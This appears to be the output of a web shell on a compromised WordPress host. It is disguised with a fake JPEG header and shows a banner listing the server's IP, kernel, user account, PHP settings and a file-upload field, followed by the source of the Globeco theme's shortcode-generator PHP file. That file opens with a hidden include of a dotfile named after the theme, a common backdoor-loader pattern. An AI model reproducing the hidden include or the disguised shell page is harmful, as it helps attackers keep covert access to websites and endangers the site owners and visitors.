????JFIF??x?x????'
Server IP : 104.21.32.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/ |
Upload File : |
<?php if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } class Globeco_SCG { private $cws_tmce_sc_settings_config = array(); public function __construct() { $this->init(); } private function init() { add_filter( 'mce_buttons_3', array($this, 'mce_sc_buttons') ); add_filter( 'mce_external_plugins', array($this, 'mce_sc_plugin') ); add_action( 'wp_ajax_cws_ajax_sc_settings', array($this, 'ajax_sc_settings_callback') ); add_action( 'admin_enqueue_scripts', array($this, 'scg_scripts_enqueue'), 11 ); $body_font = cws_core_get_option( 'body-font' ); $body_font_color = $body_font['color']; $this->cws_tmce_sc_settings_config = array( 'embed' => array( 'title' => esc_html__( 'Embed audio/video file', 'globeco' ), 'icon' => 'dashicons dashicons-format-video', 'fields' => array( 'url' => array( 'title' => esc_html__( 'Url', 'globeco' ), 'desc' => esc_html__( 'Embed url', 'globeco' ), 'type' => 'text', ), 'width' => array( 'title' => esc_html__( 'Width', 'globeco' ), 'desc' => esc_html__( 'Max width in pixels', 'globeco' ), 'type' => 'number', ), 'height' => array( 'title' => esc_html__( 'Height', 'globeco' ), 'desc' => esc_html__( 'Max height in pixels', 'globeco' ), 'type' => 'number', ) ) ), 'dropcap' => array( 'title' => esc_html__( 'CWS Dropcap', 'globeco' ), 'icon' => 'fa fa-font', 'required' => 'single_char_selected', 'paired' => true, 'fields' => array( 'dropcap_style' => array( 'title' => esc_html__( 'Letter Style', 'globeco' ), 'type' => 'select', 'source' => array( 'square' => array(esc_html__( 'Square', 'globeco' ), true), 'round' => array(esc_html__( 'Round', 'globeco' ), false), ), ), 'dropcap_size' => array( 'title' => esc_html__( 'Dropcap size', 'globeco' ), 'desc' => esc_html__( 'in pixels', 'globeco' ), 'type' => 'number', 'value' => '50' ), 'dropcap_border' => array( 'title' => esc_html__( 'Border', 'globeco' ), 'type' => 'checkbox', ), 'dropcap_fill' => array( 'title' => esc_html__( 'Fill', 'globeco' ), 'type' => 'checkbox', ), ) ), 'mark' => array( 'title' => esc_html__( 'CWS Mark Selection', 'globeco' ), 'icon' => 'fa fa-pencil', 'paired' => true, 'required' => 'selection', 'fields' => array( 'font_color' => array( 'title' => esc_html__( 'Font Color', 'globeco' ), 'type' => 'text', 'atts' => 'data-default-color="#fff"', ), 'bg_color' => array( 'title' => esc_html__( 'Background Color', 'globeco' ), 'type' => 'text', 'atts' => 'data-default-color="' . GLOBECO_SECOND_COLOR . '"', ) ) ), 'custom_list' => array( 'title' => esc_html__( 'CWS List Selection', 'globeco' ), 'icon' => 'fa fa-list-ul', 'required' => 'list_selection', 'fields' => array( 'list_style' => array( 'title' => esc_html__( 'List Style', 'globeco' ), 'type' => 'select', 'source' => array( 'checkmarks_style' => array(esc_html__( 'Checkmarks', 'globeco' ), true, 'd:icon_list_color;d:icon;'), 'circles_style' => array(esc_html__( 'Circles', 'globeco' ), false, 'd:icon_list_color;d:icon;'), 'line_style' => array(esc_html__( 'Lines', 'globeco' ), false, 'd:icon_list_color;d:icon;'), 'custom_icon_style' => array(esc_html__( 'Custom Icon', 'globeco' ), false, 'e:icon_list_color;e:icon;'), ), ), 'icon_list_color' => array( 'title' => esc_html__( 'Icon color', 'globeco' ), 'type' => 'text', 'addrowclasses' => 'disable', 'atts' => 'data-default-color="'.GLOBECO_FIRST_COLOR.'"', ), 'icon' => array( 'title' => esc_html__( 'Icon', 'globeco' ), 'type' => 'select', 'addrowclasses' => 'fai disable', 'source' => 'fa', ), ) ), 'carousel' => array( 'title' => esc_html__( 'CWS Shortcode Carousel', 'globeco' ), 'icon' => 'fa fa-arrows-h', 'required' => 'sc_selection_or_nothing', 'paired' => true, 'def_content' => "<ul><li>" . esc_html__( 'Some content here', 'globeco' ) . "</li><li>" . esc_html__( 'Some content here', 'globeco' ) . "</li></ul>", 'fields' => array( 'title' => array( 'title' => esc_html__( 'Carousel title', 'globeco' ), 'type' => 'text', ), 'columns' => array( 'title' => esc_html__( 'Columns', 'globeco' ), 'type' => 'select', 'source' => array( '1' => array(esc_html__( 'One', 'globeco' ), true), '2' => array(esc_html__( 'Two', 'globeco' ), false), '3' => array(esc_html__( 'Three', 'globeco' ), false), '4' => array(esc_html__( 'Four', 'globeco' ), false) ), ) ) ), ); } public function scg_scripts_enqueue($a) { if( $a == 'post-new.php' || $a == 'post.php' ) { $prefix = 'cws_sc_'; $data = array(); foreach ( $this->cws_tmce_sc_settings_config as $sect_name => $section ) { array_push( $data, array( 'sc_name' => $prefix . $sect_name, 'title' => isset( $section['title'] ) ? $section['title'] : '', 'icon' => isset( $section['icon'] ) ? $section['icon'] : '', 'required' => isset( $section['required'] ) ? $section['required'] : '', 'def_content' => isset( $section['def_content'] ) ? $section['def_content'] : '', 'has_options' => isset( $section['fields'] ) && is_array( $section['fields'] ) && !empty( $section['fields'] ) )); } wp_localize_script('cwsfw-main-js', 'cws_sc_data', $data); wp_register_script( 'cws-redux-sc-settings', get_template_directory_uri() . '/core/js/cws_sc_settings_controller.js', array( 'jquery' ) ); wp_enqueue_script( 'cws-redux-sc-settings' ); } } public function mce_sc_buttons ( $buttons ) { $cws_sc_names = array_keys( $this->cws_tmce_sc_settings_config ); $cws_sc_prefix = 'cws_sc_'; foreach ($cws_sc_names as $key => $v) { $cws_sc_names[$key] = $cws_sc_prefix . $v; } $buttons = array_merge( $buttons, $cws_sc_names ); return $buttons; } public function mce_sc_plugin ( $plugin_array ) { $plugin_array['cws_shortcodes'] = get_template_directory_uri() . '/core/js/cws_tmce.js'; return $plugin_array; } public function ajax_sc_settings_callback () { check_ajax_referer( 'cws-ajax-nonce', 'nonce_code' ); $shortcode = trim( $_POST['shortcode'] ); $prefix = 'cws_sc_'; $selection = isset( $_POST['selection'] ) ? stripslashes( trim( $_POST['selection'] ) ) : ''; $def_content = isset( $_POST['def_content'] ) ? trim( $_POST['def_content'] ) : ''; $shortcode = substr($shortcode, 7); $paired = isset($this->cws_tmce_sc_settings_config[$shortcode]['paired']) && $this->cws_tmce_sc_settings_config[$shortcode]['paired']? '1' : '0'; ?> <div class="cws_sc_settings_container"> <input type="hidden" name="cws_sc_name" id="cws_sc_name" value="<?php echo esc_attr($shortcode); ?>" /> <input type="hidden" name="cws_sc_selection" id="cws_sc_selection" value="<?php echo apply_filters( 'cws_dbl_to_sngl_quotes', $selection); ?>" /> <input type="hidden" name="cws_sc_def_content" id="cws_sc_def_content" value="<?php echo esc_attr($def_content); ?>" /> <input type="hidden" name="cws_sc_prefix" id="cws_sc_prefix" value="<?php echo esc_attr($prefix); ?>" /> <input type="hidden" name="cws_sc_paired" id="cws_sc_paired" value="<?php echo esc_attr($paired); ?>" /> <?php $meta = array( array ( 'text' => $selection, ) ); $sc_fields = $this->cws_tmce_sc_settings_config[$shortcode]['fields']; if (function_exists('cws_core_cwsfw_fillMbAttributes')) { cws_core_cwsfw_fillMbAttributes( $meta, $sc_fields ); echo cws_core_cwsfw_print_layout($sc_fields, 'cws_sc_'); } ?> <input type="submit" class="button button-primary button-large" id="cws_insert_button" value="<?php esc_attr_e('Insert Shortcode', 'globeco' ) ?>"> </div> <?php wp_die(); } } ?>